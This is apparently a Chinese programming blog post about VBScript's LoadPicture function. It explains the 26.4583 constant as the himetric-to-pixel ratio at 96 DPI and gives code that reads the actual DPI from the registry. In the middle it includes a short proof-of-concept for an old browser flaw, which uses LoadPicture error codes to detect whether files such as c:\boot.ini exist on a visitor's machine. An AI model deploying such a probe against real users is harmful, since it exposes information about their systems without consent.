<title>loadpicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onchange="getpicinfor()" >
</form>
<script language="vbscript">
sub getpicinfor()
dim objpic,iwidth,iheight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=loadpicture(picpath)
iwidth = round(objpic.width / 26.4583) '26.4583是像素值
iheight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "none"
case 1
pictype = "bitmap"
case 2
pictype = "metafile"
case 3
pictype = "icon"
case 4
pictype = "win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iheight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
end sub
</script>
不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例:
<form onsubmit="doit(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
sub loadit(filename)
loadpicture(filename)
end sub
</script>
<script language="javascript">
function doit(form) {
try {
loadit(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>
这段代码中有一个“魔法数字(magic number)”26.4583,曾经有位昵称是“乱码”的朋友问过我这个26.4583是怎么来的,当时我也不知道。
前段时间逆向分析了一下vbscript.dll,才发现了其中的奥秘:
26.4583 = 2540 / 96
那你一定要问,这个2540和96又是怎么来的?
要弄清楚这个问题,首先要知道vbs的loadpicture函数返回的到底是什么,vbs文档是这么描述loadpicture函数的:
returns a picture object. available only on 32-bit platforms.
只说返回图片对象,却没说该图片对象有什么属性和方法。文档语焉不详,只好动用ollydbg了:
loadpicture函数内部调用了
oleloadpicture函数,查文档可知返回的是
ipicturedisp接口。不过后来我发现了更简单的方法,那就是查vb的函数声明(谁让它们是一家人呢),在vb的对象浏览器中查找loadpicture函数:
function loadpicture([filename], [size], [colordepth], [x], [y]) as ipicturedisp虽然vbs的loadpicture函数比vb的简单,但是返回值应该是一样的。
好了,知道返回的是ipicturedisp接口,文档说它支持下面的属性:
property |
type |
access |
description |
handle |
ole_handle (int) |
r |
the windows gdi handle of the picture |
hpal |
ole_handle (int) |
rw |
the windows handle of the palette used by the picture. |
type |
short |
r |
the type of picture (see pictype). |
width |
ole_xsize_himetric (long) |
r |
the width of the picture. |
height |
ole_ysize_himetric (long) |
r |
the height of the picture. |
我们只关心width和height,它们分别表示图片的宽和高,但是它们的单位不是像素(pixel),而是himetric,我们要做的是把himetric换算成pixel。
首先把himetric换算成英寸(inch),1 himetric = 0.01 mm,1 inch = 2.54 cm,所以1 inch = 2540 himetric。
然后从inch换算成pixel,1 inch等于多少pixel呢?这是由系统的dpi(dot per inch)设置决定的,默认值是96。
现在知道2540和96是怎么来的了吧?不过上面的代码存在两个问题:第一,使用了2540/96的近似值,可能会有误差;第二,使用了dpi的默认值96,而dpi的值是可以在控制面板中修改的。
vbs中loadpicture函数的正确用法是:
option explicit
'by demon
dim p
set p = loadpicture("d:\test.jpg")
wscript.echo "width: " & himetric2pixel(p.width)
wscript.echo "height: " & himetric2pixel(p.height)
function himetric2pixel(n)
'1 inch = 2540 himetric
const key = "hkey_current_user\control panel\desktop\windowmetrics\applieddpi"
dim wshshell, dpi
set wshshell = wscript.createobject("wscript.shell")
dpi = wshshell.regread(key)
himetric2pixel = round(n * dpi / 2540)
end function
windows 7下通过测试,其他系统中获取dpi的方法可能会不同,请自行修改。
上面修正的内容来自: